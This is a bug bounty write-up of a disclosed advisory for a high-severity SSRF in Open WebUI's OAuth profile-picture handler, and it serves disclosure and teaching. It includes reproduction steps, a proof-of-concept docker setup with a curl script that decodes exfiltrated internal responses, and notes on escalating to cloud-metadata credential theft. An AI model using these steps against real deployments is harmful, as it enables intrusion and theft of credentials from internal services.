# Open WebUI Vulnerable to SSRF via OAuth Profile Picture URL in _process_picture_url (oauth.py)

Open WebUI's OAuth picture handler fetched arbitrary URLs without validate_url(), letting an attacker-controlled OIDC picture claim trigger full-read SSRF and exfiltrate internal responses via profile_image_url.

- Payout: Research
- Severity: high
- Program: Open WebUI
- Found by: Sebasteuo
- Disclosed: 2026-05-14
- CVE: CVE-2026-45338
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-24c9-2m8q-qhmh
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-24c9-2m8q-qhmh
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:oauth tech:oidc tech:python technique:source-review vuln:ssrf

**Target:** OAuth/OIDC login handler in backend/open_webui/utils/oauth.py
**Root cause:** _process_picture_url() fetches the OAuth `picture` claim URL with aiohttp without calling validate_url(), unlike other fetch paths in the codebase, so attacker-supplied URLs reach internal services.
**Steps:**
1. Stand up a minimal OIDC server whose /userinfo returns `"picture":"http://host.docker.internal:9000/canary"` and whose /canary returns a canary body.
2. Run Open WebUI with `ENABLE_OAUTH_SIGNUP=true` and `OPENID_PROVIDER_URL` pointing at the PoC server.
3. Create admin, sign out, click 'Continue with TestOIDC' to complete OAuth login.
4. PoC server logs `!!! CANARY FETCHED - SSRF CONFIRMED !!!` when Open WebUI fetches the picture URL.
5. Read back exfiltrated body via `GET /api/v1/auths/` and base64-decode `profile_image_url` to recover the internal response.
**How found:** Code review of oauth.py noticed _process_picture_url() lacked the validate_url() call that files.py and images.py apply before outbound fetches — an inconsistency with the project's own SSRF protection pattern.
**Exploitation:** Attacker controls the OIDC provider (or its picture claim); on OAuth signup/login the server fetches the attacker URL, base64-encodes the full response into profile_image_url, and the attacker retrieves it via the auths API — full-read SSRF against metadata endpoints, localhost services, and internal networks.
**Escalation:** Targeting cloud metadata (169.254.169.254 IAM credentials) or localhost-bound services (Redis, Elasticsearch) to pivot from SSRF to credential theft/internal access.
**Insight:** When a codebase has a validate_url() helper applied at some fetch sites, grep every outbound HTTP call (aiohttp/requests) for missing invocations; OAuth claim fields like picture/avatar are attacker-controlled and often overlooked.

## Proof of concept (copied exactly from the original report)

**Docker command starting vulnerable Open WebUI**

```
docker run -d -p 3000:8080 \
  --name owui-ssrf-test \
  --add-host=host.docker.internal:host-gateway \
  -e ENABLE_OAUTH_SIGNUP=true \
  -e WEBUI_AUTH=true \
  -e OAUTH_CLIENT_ID=test-client \
  -e OAUTH_CLIENT_SECRET=test-secret \
  -e OPENID_PROVIDER_URL=http://host.docker.internal:9000/.well-known/openid-configuration \
  -e OAUTH_PROVIDER_NAME=TestOIDC \
  -e "OAUTH_SCOPES=openid email profile" \
  ghcr.io/open-webui/open-webui:main
```

**Curl reading back exfiltrated SSRF response**

```
curl -s http://localhost:3000/api/v1/auths/ \
  -H "Authorization: Bearer <session-token>" | python3 -c "
import sys, json, base64
data = json.load(sys.stdin)
url = data.get('profile_image_url', '')
if 'base64,' in url:
    decoded = base64.b64decode(url.split('base64,',1)[1]).decode()
    print(f'DECODED: {decoded}')
```

